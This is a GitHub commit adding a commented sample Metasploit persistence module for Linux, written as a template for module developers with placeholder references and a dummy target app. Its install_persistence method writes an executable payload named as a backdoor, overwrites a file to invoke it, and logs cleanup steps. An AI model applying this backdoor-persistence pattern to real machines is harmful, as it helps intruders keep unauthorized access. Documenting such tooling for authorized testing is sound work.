Skip to content

Commit 96cc6b4

Browse files
committed
add example linux persistence module
1 parent f6b9101 commit 96cc6b4

File tree

1 file changed

+131
-0
lines changed

1 file changed

+131
-0
lines changed
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
###
7+
#
8+
# This exploit sample shows how a persistence module could be written
9+
# for a linux computer.
10+
#
11+
###
12+
class MetasploitModule < Msf::Exploit::Local
13+
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
14+
15+
# includes: is_root?
16+
include Msf::Post::Linux::Priv
17+
# includes writable?, upload_file, upload_and_chmodx, exploit_data
18+
include Msf::Post::File
19+
# includes generate_payload_exe
20+
include Msf::Exploit::EXE
21+
# includes register_files_for_cleanup
22+
include Msf::Exploit::FileDropper
23+
# defines install_persistence and does our cleanup
24+
# WritableDir
25+
include Msf::Exploit::Local::Persistence
26+
# runs check automatically
27+
prepend Msf::Exploit::Remote::AutoCheck
28+
29+
def initialize(info = {})
30+
super(
31+
update_info(
32+
info,
33+
# The Name should be just like the line of a Git commit - software name,
34+
# vuln type, class. Preferably apply
35+
# some search optimization so people can actually find the module.
36+
# We encourage consistency between module name and file name.
37+
'Name' => 'Sample Linux Persistence',
38+
'Description' => %q{
39+
This exploit sample shows how a persistence module could be written
40+
for a linux computer.
41+
},
42+
'License' => MSF_LICENSE,
43+
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
44+
# Add reference to additional authors, like those creating original proof of concepts or
45+
# reference materials.
46+
# It is also common to comment in who did what (PoC vs metasploit module, etc)
47+
'Author' => [
48+
'h00die <[email protected]>', # msf module
49+
'researcher' # original PoC, analysis
50+
],
51+
'Platform' => [ 'linux' ],
52+
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
53+
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
54+
# A full list is available in lib/msf/core/payload/uuid.rb
55+
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
56+
# What types of sessions we can use this module in conjunction with. Most modules use libraries
57+
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
58+
# test both to ensure compatibility.
59+
'SessionTypes' => [ 'shell', 'meterpreter' ],
60+
'Targets' => [[ 'Auto', {} ]],
61+
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
62+
# since privilege escalation modules typically result in elevated privileges, this is
63+
# generally set to true
64+
'Privileged' => true,
65+
# Often these have https://attack.mitre.org/techniques/ related to them
66+
'References' => [
67+
[ 'OSVDB', '12345' ],
68+
[ 'EDB', '12345' ],
69+
[ 'URL', 'http://www.example.com'],
70+
[ 'CVE', '1978-1234']
71+
],
72+
'DisclosureDate' => '2023-11-29',
73+
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
74+
# It's generally easiest just to put the default at the beginning of the list and skip this
75+
# entirely.
76+
'DefaultTarget' => 0,
77+
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
78+
'Notes' => {
79+
'Stability' => [CRASH_SAFE],
80+
'Reliability' => [],
81+
'SideEffects' => []
82+
}
83+
)
84+
)
85+
# force exploit is used to bypass the check command results
86+
register_advanced_options [
87+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
88+
]
89+
end
90+
91+
def check
92+
# Check a example app is installed
93+
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
94+
return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir'])
95+
return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir'])
96+
return CheckCode::Safe('example app is required') unless command_exists?('example')
97+
98+
CheckCode::Detected('example app is installed')
99+
end
100+
101+
#
102+
# The install_persistence method installs the persistence, starts the handler, and does all
103+
# the main activities
104+
#
105+
def install_persistence
106+
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
107+
backdoor = "#{path}/#{file_name}"
108+
vprint_status("Writing backdoor to #{backdoor}")
109+
# if an arch_cmd payload is selected, write and chmod the file
110+
# if an exe payload is selected, write it as an executable file
111+
if payload.arch.first == 'cmd'
112+
write_file(backdoor, payload.encoded)
113+
chmod(backdoor, 0o755)
114+
else
115+
upload_and_chmodx backdoor, generate_payload_exe
116+
end
117+
# add removing the file to the cleanup script
118+
@clean_up_rc << "rm #{backdoor}\n"
119+
120+
# back up an example file that we're going to write into so we can restore it
121+
# in our cleanup efforts
122+
example_file = read_file('/tmp/example_file')
123+
backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup')
124+
print_status("Created /tmp/example_file backup: #{backup_file}")
125+
# @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user.
126+
@clean_up_rc << "upload #{backup_file} /tmp/example_file\n"
127+
write_file('/tmp/example_file', backdoor)
128+
129+
# the cleanup script will automatically be printed when the module is finished
130+
end
131+
end

0 commit comments

Comments
 (0)